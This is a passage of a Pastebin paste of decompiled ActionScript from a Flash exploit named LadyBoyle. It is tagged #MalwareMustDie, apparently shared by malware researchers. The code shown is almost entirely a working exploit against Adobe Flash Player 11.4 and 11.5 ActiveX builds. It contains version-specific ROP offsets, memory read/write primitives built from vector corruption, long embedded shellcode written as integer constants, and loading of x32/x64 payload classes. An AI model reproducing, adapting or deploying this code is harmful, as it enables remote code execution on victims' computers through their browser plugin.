  627.                     if ((((((_local29[1] < _local29[0])) && ((_local30[1] < _local30[0])))) && (((_local30[0] - _local29[0]) == 144)))) {
  628.                         _local10 = (_local29[0] - (144 * (_local1 + 1)));
  629.                         break;
  630.                     };
  631.                     _local1++;
  632.                 };
  633.                 if (_local10 == 0) {
  634.                     do {} while (1);
  635.                 };
  636.                 _local1 = 0;
  637.                 while (_local1 < (0x0400 * 100)) {
  638.                     _local17.writeUnsignedInt(0x41414141);
  639.                     _local1++;
  640.                 };
  641.                 _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  642.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  643.                 _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  644.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  645.                 _local12 = (_local12 + _local17.position);
  646.                 _local14 = _local17.position;
  647.                 _local15 = (((_local11 - _local10) - 16) / 8);
  648.                 _local16 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  649.                 _local25 = 0;
  650.                 _local26 = 0;
  651.                 _local27 = capabilities.version.tolowercase();
  652.                 switch (_local27) {
  653.                     case "win 11,5,502,146":
  654.                         if (capabilities.playertype.tolowercase() == "activex") {   /// Exploit to Adobe Flash 11,5,502,146
  655.                             _local25 = (_local16 - 9071905);
  656.                             _local26 = (_local16 - 9089174);
  657.                             _local36 = (_local16 - 9060829);
  658.                             _local37 = (_local16 - 7731648);
  659.                             _local38 = (_local16 - 11089788);
  660.                             _local39 = (_local16 - 9449127);
  661.                             _local40 = (_local16 - 11110664);
  662.                         };
  663.                         break;
  664.                     case "win 11,5,502,135":
  665.                         if (capabilities.playertype.tolowercase() == "activex") {  /// Exploit to Adobe Flash 11,5,502,135":
  666.                             _local25 = (_local16 - 9292362);
  667.                             _local26 = (_local16 - 9088790);
  668.                             _local36 = (_local16 - 8914426);
  669.                             _local37 = (_local16 - 7731936);
  670.                             _local38 = (_local16 - 9903898);
  671.                             _local39 = (_local16 - 9448767);
  672.                             _local40 = (_local16 - 3107441);
  673.                         };
  674.                         break;
  675.                     case "win 11,5,502,110":
  676.                         if (capabilities.playertype.tolowercase() == "activex") {  /// Exploit to Adobe Flash  11,5,502,110":
  677.                             _local25 = (_local16 - 9071861);
  678.                             _local26 = (_local16 - 9089094);
  679.                             _local36 = (_local16 - 8914810);
  680.                             _local37 = (_local16 - 9484510);
  681.                             _local38 = (_local16 - 11089740);
  682.                             _local39 = (_local16 - 9449051);
  683.                             _local40 = (_local16 - 2558975);
  684.                         };
  685.                         break;
  686.                     case "win 11,4,402,287":
  687.                         if (capabilities.playertype.tolowercase() == "activex") {
  688.                             _local25 = (_local16 - 4396458);
  689.                             _local26 = ((_local16 - 10488402) + 6295484);
  690.                             _local36 = (_local16 - 10718521);
  691.                             _local37 = (_local16 - 10488402);
  692.                             _local38 = (_local16 - 10712843);
  693.                             _local39 = (_local16 - 4552839);
  694.                             _local40 = ((_local16 - 4396458) - 5883414);
  695.                         };
  696.                         break;
  697.                     case "win 11,4,402,278":
  698.                         if (capabilities.playertype.tolowercase() == "activex") {
  699.                             _local25 = (_local16 - 4174757);
  700.                             _local26 = (_local16 - 4191990);
  701.                             _local36 = (_local16 - 4618011);
  702.                             _local37 = (_local16 - 4568738);
  703.                             _local38 = (_local16 - 6192519);
  704.                             _local39 = (_local16 - 4551855);
  705.                             _local40 = (_local16 - 1561744);
  706.                         };
  707.                         break;
  708.                     case "win 11,4,402,265":
  709.                         if (capabilities.playertype.tolowercase() == "activex") {
  710.                             _local25 = (_local16 - 4174757);
  711.                             _local26 = (_local16 - 4191990);
  712.                             _local36 = (_local16 - 1865551);
  713.                             _local37 = (_local16 - 1146567);
  714.                             _local38 = (_local16 - 1838030);
  715.                             _local39 = (_local16 - 4551855);
  716.                             _local40 = (_local16 - 927856);
  717.                         };
  718.                         break;
  719.                     default:
  720.                         do {} while (1);
  721.                 };
  722.                 _local17.endian = Endian.LITTLE_ENDIAN;
  723.                 _local34 = _local17.position;
  724.                 _local17.position = (_local17.position + 224);
  725.                 _local17.writeUnsignedInt(_local25);
  726.                 _local17.position = _local34;
  727.                 _local17.position = (_local17.position + 160);
  728.                 _local17.writeUnsignedInt((_local12 + 0x0100));
  729.                 _local17.writeUnsignedInt(_local31);
  730.                 _local17.position = _local34;
  731.                 _local17.writeUnsignedInt(_local37);
  732.                 _local17.writeUnsignedInt(0);
  733.                 _local17.writeUnsignedInt(64);
  734.                 _local17.writeUnsignedInt(0);
  735.                 _local17.writeUnsignedInt(_local39);
  736.                 _local17.writeUnsignedInt(0);
  737.                 _local17.position = (_local17.position + 40);
  738.                 _local17.writeUnsignedInt(_local36);
  739.                 _local17.writeUnsignedInt(0);
  740.                 _local17.writeUnsignedInt((_local12 + 0x0100));
  741.                 _local17.writeUnsignedInt(_local31);
  742.                 _local17.writeUnsignedInt(_local38);
  743.                 _local17.writeUnsignedInt(0);
  744.                 _local17.writeUnsignedInt(0x2000);
  745.                 _local17.writeUnsignedInt(0);
  746.                 _local17.writeUnsignedInt(_local37);
  747.                 _local17.writeUnsignedInt(0);
  748.                 _local17.writeUnsignedInt(_local26);
  749.                 _local17.writeUnsignedInt(0);
  750.                 _local17.writeUnsignedInt(_local40);
  751.                 _local17.writeUnsignedInt(0);
  752.                 _local17.position = (_local34 + 0x0100);
  753.                 _local17.writeUnsignedInt(1442615440);
  754.                 _local17.writeUnsignedInt(4041507656);
  755.                 _local17.writeUnsignedInt(1708274504);
  756.                 _local17.writeUnsignedInt(1616022344);
  757.                 _local17.writeUnsignedInt(408062792);
  758.                 _local17.writeUnsignedInt(542280520);
  759.                 _local17.writeUnsignedInt(1349684040);
  760.                 _local17.writeUnsignedInt(1253510984);
  761.                 _local17.writeUnsignedInt(3375582538);
  762.                 _local17.writeUnsignedInt(2898277192);
  763.                 _local17.writeUnsignedInt(41705788);
  764.                 _local17.writeUnsignedInt(3242270764);
  765.                 _local17.writeUnsignedInt(54791625);
  766.                 _local17.writeUnsignedInt(1391321800);
  767.                 _local17.writeUnsignedInt(3125367105);
  768.                 _local17.writeUnsignedInt(2460948186);
  769.                 _local17.writeUnsignedInt(0);
  770.                 _local17.writeUnsignedInt(1976187725);
  771.                 _local17.writeUnsignedInt(1384859717);
  772.                 _local17.writeUnsignedInt(1010993952);
  773.                 _local17.writeUnsignedInt(2344747848);
  774.                 _local17.writeUnsignedInt(34944);
  775.                 _local17.writeUnsignedInt(0xC0854800);
  776.                 _local17.writeUnsignedInt(2168991860);
  777.                 _local17.writeUnsignedInt(98540);
  778.                 _local17.writeUnsignedInt(0xFC8B4800);
  779.                 _local17.writeUnsignedInt(2162983240);
  780.                 _local17.writeUnsignedInt(0x48000000);
  781.                 _local17.writeUnsignedInt(2337325571);
  782.                 _local17.writeUnsignedInt(2336495688);
  783.                 _local17.writeUnsignedInt(55320640);
  784.                 _local17.writeUnsignedInt(1284065474);
  785.                 _local17.writeUnsignedInt(2303465508);
  786.                 _local17.writeUnsignedInt(1210065988);
  787.                 _local17.writeUnsignedInt(673465481);
  788.                 _local17.writeUnsignedInt(1497434347);
  789.                 _local17.writeUnsignedInt(311117914);
  790.                 _local17.writeUnsignedInt(1095860971);
  791.                 _local17.writeUnsignedInt(3669641552);
  792.                 _local17.writeUnsignedInt(22010614);
  793.                 _local17.writeUnsignedInt(0xE8000000);
  794.                 _local17.writeUnsignedInt(315);
  795.                 _local17.writeUnsignedInt(1225230664);
  796.                 _local17.writeUnsignedInt(2924948922);
  797.                 _local17.writeUnsignedInt(347);
  798.                 _local17.writeUnsignedInt(19523584);
  799.                 _local17.writeUnsignedInt(0x89480000);
  800.                 _local17.writeUnsignedInt(3125348423);
  801.                 _local17.writeUnsignedInt(1384617670);
  802.                 _local17.writeUnsignedInt(1);
  803.                 _local17.writeUnsignedInt(71400);
  804.                 _local17.writeUnsignedInt(0x47894800);
  805.                 _local17.writeUnsignedInt(1287276816);
  806.                 _local17.writeUnsignedInt(17245815);
  807.                 _local17.writeUnsignedInt(0xE8000000);
  808.                 _local17.writeUnsignedInt(259);
  809.                 _local17.writeUnsignedInt(407341384);
  810.                 _local17.writeUnsignedInt(4080056905);
  811.                 _local17.writeUnsignedInt(58441);
  812.                 _local17.writeUnsignedInt(0xF0E80000);
  813.                 _local17.writeUnsignedInt(0x48000000);
  814.                 _local17.writeUnsignedInt(1210075017);
  815.                 _local17.writeUnsignedInt(2370369419);
  816.                 _local17.writeUnsignedInt(32958);
  817.                 _local17.writeUnsignedInt(0x40B900);
  818.                 _local17.writeUnsignedInt(0x33480000);
  819.                 _local17.writeUnsignedInt(3115054016);
  820.                 _local17.writeUnsignedInt(0x0100);
  821.                 _local17.writeUnsignedInt(2156301640);
  822.                 _local17.writeUnsignedInt(0x48000000);
  823.                 _local17.writeUnsignedInt(2336805003);
  824.                 _local17.writeUnsignedInt(1451969752);
  825.                 _local17.writeUnsignedInt(3539943712);
  826.                 _local17.writeUnsignedInt(2156301640);
  827.                 _local17.writeUnsignedInt(0x48000000);
  828.                 _local17.writeUnsignedInt(860408115);
  829.                 _local17.writeUnsignedInt(51153627);
  830.                 _local17.writeUnsignedInt(2160328520);
  831.                 _local17.writeUnsignedInt(0xF57500F9);
  832.                 _local17.writeUnsignedInt(3352035144);
  833.                 _local17.writeUnsignedInt(1868759812);
  834.                 _local17.writeUnsignedInt(1153918574);
  835.                 _local17.writeUnsignedInt(1734935555);
  836.                 _local17.writeUnsignedInt(1153917998);
  837.                 _local17.writeUnsignedInt(1819019267);
  838.                 _local17.writeUnsignedInt(0x33450000);
  839.                 _local17.writeUnsignedInt(1153910985);
  840.                 _local17.writeUnsignedInt(12324);
  841.                 _local17.writeUnsignedInt(0x8D480000);
  842.                 _local17.writeUnsignedInt(32910);
  843.                 _local17.writeUnsignedInt(45629696);
  844.                 _local17.writeUnsignedInt(0x48000000);
  845.                 _local17.writeUnsignedInt(49863);
  846.                 _local17.writeUnsignedInt(0x44C74000);
  847.                 _local17.writeUnsignedInt(8398884);
  848.                 _local17.writeUnsignedInt(0x44C70000);
  849.                 _local17.writeUnsignedInt(139300);
  850.                 _local17.writeUnsignedInt(0x8B4C0000);
  851.                 _local17.writeUnsignedInt(3539943702);
  852.                 _local17.writeUnsignedInt(1222150984);
  853.                 _local17.writeUnsignedInt(268433539);
  854.                 _local17.writeUnsignedInt(40068);
  855.                 _local17.writeUnsignedInt(0x4C8D4C00);
  856.                 _local17.writeUnsignedInt(3125297188);
  857.                 _local17.writeUnsignedInt(0x42424242);
  858.                 _local17.writeUnsignedInt(0x42424242);
  859.                 _local17.writeUnsignedInt(3091304592);
  860.                 _local17.writeUnsignedInt(0x41414141);
  861.                 _local17.writeUnsignedInt(1221299016);
  862.                 _local17.writeUnsignedInt(539247815);
  863.                 _local17.writeUnsignedInt(0);
  864.                 _local17.writeUnsignedInt(139889484);
  865.                 _local17.writeUnsignedInt(1221787457);
  866.                 _local17.writeUnsignedInt(0x7400F883);
  867.                 _local17.writeUnsignedInt(3414902892);
  868.                 _local17.writeUnsignedInt(274107212);
  869.                 _local17.writeUnsignedInt(1221787457);
  870.                 _local17.writeUnsignedInt(8425101);
  871.                 _local17.writeUnsignedInt(0x8B4C0000);
  872.                 _local17.writeUnsignedInt(4282456150);
  873.                 _local17.writeUnsignedInt(1213393874);
  874.                 _local17.writeUnsignedInt(270814347);
  875.                 _local17.writeUnsignedInt(608471884);
  876.                 _local17.writeUnsignedInt(3388950536);
  877.                 _local17.writeUnsignedInt(2285144897);
  878.                 _local17.writeUnsignedInt(1307706184);
  879.                 _local17.writeUnsignedInt(860408115);
  880.                 _local17.writeUnsignedInt(3242306752);
  881.                 _local17.writeUnsignedInt(54791625);
  882.                 _local17.writeUnsignedInt(1975794376);
  883.                 _local17.writeUnsignedInt(3246475761);
  884.                 _local17.writeUnsignedInt(2460948186);
  885.                 _local17.writeUnsignedInt(1976187717);
  886.                 _local17.writeUnsignedInt(1149978840);
  887.                 _local17.writeUnsignedInt(2336505892);
  888.                 _local17.writeUnsignedInt(55321664);
  889.                 _local17.writeUnsignedInt(2336319170);
  890.                 _local17.writeUnsignedInt(2336507916);
  891.                 _local17.writeUnsignedInt(55319616);
  892.                 _local17.writeUnsignedInt(76235202);
  893.                 _local17.writeUnsignedInt(3254995080);
  894.                 _local17.writeUnsignedInt(3108606147);
  895.                 _local17.writeUnsignedInt(0x47474747);
  896.                 _local17.writeUnsignedInt(1095190343);
  897.                 _local17.writeUnsignedInt(268552001);
  898.                 _local17.writeUnsignedInt(0x4D000000);
  899.                 _local17.writeUnsignedInt(4285563277);
  900.                 _local17.writeUnsignedInt(2336882687);
  901.                 _local17.writeUnsignedInt(8997121);
  902.                 _local17.writeUnsignedInt(138513225);
  903.                 _local17.writeUnsignedInt(138447177);
  904.                 _local17.writeUnsignedInt(3108606096);
  905.                 _local17.writeUnsignedInt(0x48484848);
  906.                 _local17.writeUnsignedInt(0x48484848);
  907.                 _local17.writeUnsignedInt(3091304592);
  908.                 _local17.writeUnsignedInt(0x49494949);
  909.                 _local17.writeUnsignedInt(1090619717);
  910.                 _local17.writeUnsignedInt(278983);
  911.                 _local17.writeUnsignedInt(0x48000000);
  912.                 _local17.writeUnsignedInt(3282593165);
  913.                 _local17.writeUnsignedInt(0x90909090);
  914.                 _local18.data.now = new date()
  915.                     .time;
  916.                 _local18.flush();
  917.                 _local18.close();
  918.                 _local35 = new this.the_x64_Class();                       /// x64
  919.                 _local17.writeBytes(_local35, 0, _local35.length);
  920.                 _local12 = _local13;
  921.                 _local15 = ((((_local12 + 128) - _local10) - 16) / 8);
  922.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  923.                 _local15 = ((((_local12 + 16) - _local10) - 16) / 8);
  924.                 _local12 = this.ReadDouble((_local5[_local7][_local22] as Vector. < Number > ), _local15)[0];
  925.                 _local12 = (_local12 + _local14);
  926.                 _local17.position = _local14;                   //// Buiding x64 binary...........
  927.                 _local34 = _local17.position;
  928.                 _local17.position = (_local17.position + 224);
  929.                 _local17.writeUnsignedInt(_local25);
  930.                 _local17.position = _local34;
  931.                 _local17.position = (_local17.position + 160);
  932.                 _local17.writeUnsignedInt((_local12 + 0x0100));
  933.                 _local17.writeUnsignedInt(_local31);
  934.                 _local17.position = _local34;
  935.                 _local17.writeUnsignedInt(_local37);
  936.                 _local17.writeUnsignedInt(0);
  937.                 _local17.writeUnsignedInt(64);
  938.                 _local17.writeUnsignedInt(0);
  939.                 _local17.writeUnsignedInt(_local39);
  940.                 _local17.writeUnsignedInt(0);
  941.                 _local17.position = (_local17.position + 40);
  942.                 _local17.writeUnsignedInt(_local36);
  943.                 _local17.writeUnsignedInt(0);
  944.                 _local17.writeUnsignedInt((_local12 + 0x0100));
  945.                 _local17.writeUnsignedInt(_local31);
  946.                 _local17.writeUnsignedInt(_local38);
  947.                 _local17.writeUnsignedInt(0);
  948.                 _local17.writeUnsignedInt(0x2000);
  949.                 _local17.writeUnsignedInt(0);
  950.                 _local17.writeUnsignedInt(_local37);
  951.                 _local17.writeUnsignedInt(0);
  952.                 _local17.writeUnsignedInt(_local26);
  953.                 _local17.writeUnsignedInt(0);
  954.                 _local17.writeUnsignedInt(_local40);
  955.                 _local17.writeUnsignedInt(0);
  956.                 _local17.position = (_local34 + 0x0100);
  957.                 _local17.writeUnsignedInt(1442615440);
  958.                 _local17.writeUnsignedInt(4041507656);
  959.                 _local17.writeUnsignedInt(1708274504);
  960.                 _local17.writeUnsignedInt(1616022344);
  961.                 _local17.writeUnsignedInt(408062792);
  962.                 _local17.writeUnsignedInt(542280520);
  963.                 _local17.writeUnsignedInt(1349684040);
  964.                 _local17.writeUnsignedInt(1253510984);
  965.                 _local17.writeUnsignedInt(3375582538);
  966.                 _local17.writeUnsignedInt(2898277192);
  967.                 _local17.writeUnsignedInt(41705788);
  968.                 _local17.writeUnsignedInt(3242270764);
  969.                 _local17.writeUnsignedInt(54791625);
  970.                 _local17.writeUnsignedInt(1391321800);
  971.                 _local17.writeUnsignedInt(3125367105);
  972.                 _local17.writeUnsignedInt(2460948186);
  973.                 _local17.writeUnsignedInt(0);
  974.                 _local17.writeUnsignedInt(1976187725);
  975.                 _local17.writeUnsignedInt(1384859717);
  976.                 _local17.writeUnsignedInt(1010993952);
  977.                 _local17.writeUnsignedInt(2344747848);
  978.                 _local17.writeUnsignedInt(34944);
  979.                 _local17.writeUnsignedInt(0xC0854800);
  980.                 _local17.writeUnsignedInt(2168991860);
  981.                 _local17.writeUnsignedInt(98540);
  982.                 _local17.writeUnsignedInt(0xFC8B4800);
  983.                 _local17.writeUnsignedInt(2162983240);
  984.                 _local17.writeUnsignedInt(0x48000000);
  985.                 _local17.writeUnsignedInt(2337325571);
  986.                 _local17.writeUnsignedInt(2336495688);
  987.                 _local17.writeUnsignedInt(55320640);
  988.                 _local17.writeUnsignedInt(1284065474);
  989.                 _local17.writeUnsignedInt(2303465508);
  990.                 _local17.writeUnsignedInt(1210065988);
  991.                 _local17.writeUnsignedInt(673465481);
  992.                 _local17.writeUnsignedInt(1497434347);
  993.                 _local17.writeUnsignedInt(311117914);
  994.                 _local17.writeUnsignedInt(1095860971);
  995.                 _local17.writeUnsignedInt(3669641552);
  996.                 _local17.writeUnsignedInt(22010614);
  997.                 _local17.writeUnsignedInt(0xE8000000);
  998.                 _local17.writeUnsignedInt(315);
  999.                 _local17.writeUnsignedInt(1225230664);
  1000.                 _local17.writeUnsignedInt(2924948922);
  1001.                 _local17.writeUnsignedInt(347);
  1002.                 _local17.writeUnsignedInt(19523584);
  1003.                 _local17.writeUnsignedInt(0x89480000);
  1004.                 _local17.writeUnsignedInt(3125348423);
  1005.                 _local17.writeUnsignedInt(1384617670);
  1006.                 _local17.writeUnsignedInt(1);
  1007.                 _local17.writeUnsignedInt(71400);
  1008.                 _local17.writeUnsignedInt(0x47894800);
  1009.                 _local17.writeUnsignedInt(1287276816);
  1010.                 _local17.writeUnsignedInt(17245815);
  1011.                 _local17.writeUnsignedInt(0xE8000000);
  1012.                 _local17.writeUnsignedInt(259);
  1013.                 _local17.writeUnsignedInt(407341384);
  1014.                 _local17.writeUnsignedInt(4080056905);
  1015.                 _local17.writeUnsignedInt(58441);
  1016.                 _local17.writeUnsignedInt(0xF0E80000);
  1017.                 _local17.writeUnsignedInt(0x48000000);
  1018.                 _local17.writeUnsignedInt(1210075017);
  1019.                 _local17.writeUnsignedInt(2370369419);
  1020.                 _local17.writeUnsignedInt(32958);
  1021.                 _local17.writeUnsignedInt(0x40B900);
  1022.                 _local17.writeUnsignedInt(0x33480000);
  1023.                 _local17.writeUnsignedInt(3115054016);
  1024.                 _local17.writeUnsignedInt(0x0100);
  1025.                 _local17.writeUnsignedInt(2156301640);
  1026.                 _local17.writeUnsignedInt(0x48000000);
  1027.                 _local17.writeUnsignedInt(2336805003);
  1028.                 _local17.writeUnsignedInt(1451969752);
  1029.                 _local17.writeUnsignedInt(3539943712);
  1030.                 _local17.writeUnsignedInt(2156301640);
  1031.                 _local17.writeUnsignedInt(0x48000000);
  1032.                 _local17.writeUnsignedInt(860408115);
  1033.                 _local17.writeUnsignedInt(51153627);
  1034.                 _local17.writeUnsignedInt(2160328520);
  1035.                 _local17.writeUnsignedInt(0xF57500F9);
  1036.                 _local17.writeUnsignedInt(3352035144);
  1037.                 _local17.writeUnsignedInt(1868759812);
  1038.                 _local17.writeUnsignedInt(1153918574);
  1039.                 _local17.writeUnsignedInt(1734935555);
  1040.                 _local17.writeUnsignedInt(1153917998);
  1041.                 _local17.writeUnsignedInt(1819019267);
  1042.                 _local17.writeUnsignedInt(0x33450000);
  1043.                 _local17.writeUnsignedInt(1153910985);
  1044.                 _local17.writeUnsignedInt(12324);
  1045.                 _local17.writeUnsignedInt(0x8D480000);
  1046.                 _local17.writeUnsignedInt(32910);
  1047.                 _local17.writeUnsignedInt(45629696);
  1048.                 _local17.writeUnsignedInt(0x48000000);
  1049.                 _local17.writeUnsignedInt(49863);
  1050.                 _local17.writeUnsignedInt(0x44C74000);
  1051.                 _local17.writeUnsignedInt(8398884);
  1052.                 _local17.writeUnsignedInt(0x44C70000);
  1053.                 _local17.writeUnsignedInt(139300);
  1054.                 _local17.writeUnsignedInt(0x8B4C0000);
  1055.                 _local17.writeUnsignedInt(3539943702);
  1056.                 _local17.writeUnsignedInt(1222150984);
  1057.                 _local17.writeUnsignedInt(268433539);
  1058.                 _local17.writeUnsignedInt(40068);
  1059.                 _local17.writeUnsignedInt(0x4C8D4C00);
  1060.                 _local17.writeUnsignedInt(3125297188);
  1061.                 _local17.writeUnsignedInt((_local12 + 900));
  1062.                 _local17.writeUnsignedInt(_local31);
  1063.                 _local17.writeUnsignedInt(3091304592);
  1064.                 _local17.writeUnsignedInt(_local35.length);
  1065.                 _local17.writeUnsignedInt(1221299016);
  1066.                 _local17.writeUnsignedInt(539247815);
  1067.                 _local17.writeUnsignedInt(0);
  1068.                 _local17.writeUnsignedInt(139889484);
  1069.                 _local17.writeUnsignedInt(1221787457);
  1070.                 _local17.writeUnsignedInt(0x7400F883);
  1071.                 _local17.writeUnsignedInt(3414902892);
  1072.                 _local17.writeUnsignedInt(274107212);
  1073.                 _local17.writeUnsignedInt(1221787457);
  1074.                 _local17.writeUnsignedInt(8425101);
  1075.                 _local17.writeUnsignedInt(0x8B4C0000);
  1076.                 _local17.writeUnsignedInt(4282456150);
  1077.                 _local17.writeUnsignedInt(1213393874);
  1078.                 _local17.writeUnsignedInt(270814347);
  1079.                 _local17.writeUnsignedInt(608471884);
  1080.                 _local17.writeUnsignedInt(3388950536);
  1081.                 _local17.writeUnsignedInt(2285144897);
  1082.                 _local17.writeUnsignedInt(1307706184);
  1083.                 _local17.writeUnsignedInt(860408115);
  1084.                 _local17.writeUnsignedInt(3242306752);
  1085.                 _local17.writeUnsignedInt(54791625);
  1086.                 _local17.writeUnsignedInt(1975794376);
  1087.                 _local17.writeUnsignedInt(3246475761);
  1088.                 _local17.writeUnsignedInt(2460948186);
  1089.                 _local17.writeUnsignedInt(1976187717);
  1090.                 _local17.writeUnsignedInt(1149978840);
  1091.                 _local17.writeUnsignedInt(2336505892);
  1092.                 _local17.writeUnsignedInt(55321664);
  1093.                 _local17.writeUnsignedInt(2336319170);
  1094.                 _local17.writeUnsignedInt(2336507916);
  1095.                 _local17.writeUnsignedInt(55319616);
  1096.                 _local17.writeUnsignedInt(76235202);
  1097.                 _local17.writeUnsignedInt(3254995080);
  1098.                 _local17.writeUnsignedInt(3108606147);
  1099.                 _local17.writeUnsignedInt(_local10);
  1100.                 _local17.writeUnsignedInt(_local31);
  1101.                 _local17.writeUnsignedInt(268552001);
  1102.                 _local17.writeUnsignedInt(0x4D000000);
  1103.                 _local17.writeUnsignedInt(4285563277);
  1104.                 _local17.writeUnsignedInt(2336882687);
  1105.                 _local17.writeUnsignedInt(8997121);
  1106.                 _local17.writeUnsignedInt(138513225);
  1107.                 _local17.writeUnsignedInt(138447177);
  1108.                 _local17.writeUnsignedInt(3108606096);
  1109.                 _local17.writeUnsignedInt(_local11);
  1110.                 _local17.writeUnsignedInt(_local31);
  1111.                 _local17.writeUnsignedInt(3091304592);
  1112.                 _local17.writeUnsignedInt(_local16);
  1113.                 _local17.writeUnsignedInt(1090619717);
  1114.                 _local17.writeUnsignedInt(278983);
  1115.                 _local17.writeUnsignedInt(0x48000000);
  1116.                 _local17.writeUnsignedInt(3282593165);
  1117.                 _local17.writeUnsignedInt(0x90909090);
  1118.                 _local15 = (((_local11 - _local10) - 16) / 8);
  1119.                 (_local5[_local7][_local22] as Vector. < Number > )[_local15] = this.UintToDouble(_local12, _local31);
  1120.                 new number(_local6.tostring());
  1121.                 return;
  1122.             };
  1123.             do {} while (1);
  1124.         }
  1125.         public
  1126.         function randRange(_arg1: number, _arg2: number): number {
  1127.             var _local3: number = (math.floor((math.random() * ((_arg2 - _arg1) + 1))) + _arg1);
  1128.             return (_local3);
  1129.         }
  1130.         public
  1131.         function empty(): void {
  1132.             var _local1: textfield = new textfield();
  1133.             _local1.autosize = TextFieldAutoSize.left;
  1134.             var _local2: textformat = new textformat();
  1135.             _local2.size = 30;
  1136.             _local2.font = "Arial";
  1137.             _local2.color = 0xFF0000;
  1138.             _local1.settextformat(_local2);
  1139.             _local1.text = " ";
  1140.             addChild(_local1);
  1141.         }
  1142.         public
  1143.         function UintToDouble(_arg1: uint, _arg2: uint): number {
  1144.             var _local3: ByteArray = new ByteArray();
  1145.             _local3.endian = Endian.LITTLE_ENDIAN;
  1146.             _local3.writeInt(_arg1);
  1147.             _local3.writeInt(_arg2);
  1148.             _local3.position = 0;
  1149.             return (_local3.readDouble());
  1150.         }
  1151.         public
  1152.         function ReadDouble(_arg1: Vector. < Number > , _arg2: uint): Vector. < uint > {
  1153.             var _local3: Vector. < uint > = new < uint > [0, 0];
  1154.             var _local4: number = _arg1[_arg2];
  1155.             var _local5: ByteArray = new ByteArray();
  1156.             _local5.position = 0;
  1157.             _local5.writeDouble(_local4);
  1158.             _local3[1] = ((((_local5[0] * 16777216) + (_local5[1] * 65536)) + (_local5[2] * 0x0100)) + _local5[3]);
  1159.             _local3[0] = ((((_local5[4] * 16777216) + (_local5[5] * 65536)) + (_local5[6] * 0x0100)) + _local5[7]);
  1160.             return (_local3);
  1161.         }
  1162.  
  1163.     }
  1164.     var _local1: * = new LadyBoyle();
  1165.     return (_local1);
  1166. } //package
  1167. package {
  1168.     import mx.core.*;
  1169.  
  1170.     public class LadyBoyle_the_x32_Class extends ByteArrayAsset {
  1171.  
  1172.     }
  1173. } //package
  1174. package {
  1175.     import mx.core.*;
  1176.  
  1177.     public class LadyBoyle_the_x64_Class extends ByteArrayAsset {
  1178.  
  1179.     }
  1180. } //package
  1181.  
  1182.  
  1183. ----
  1184. #MalwareMustDie
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Top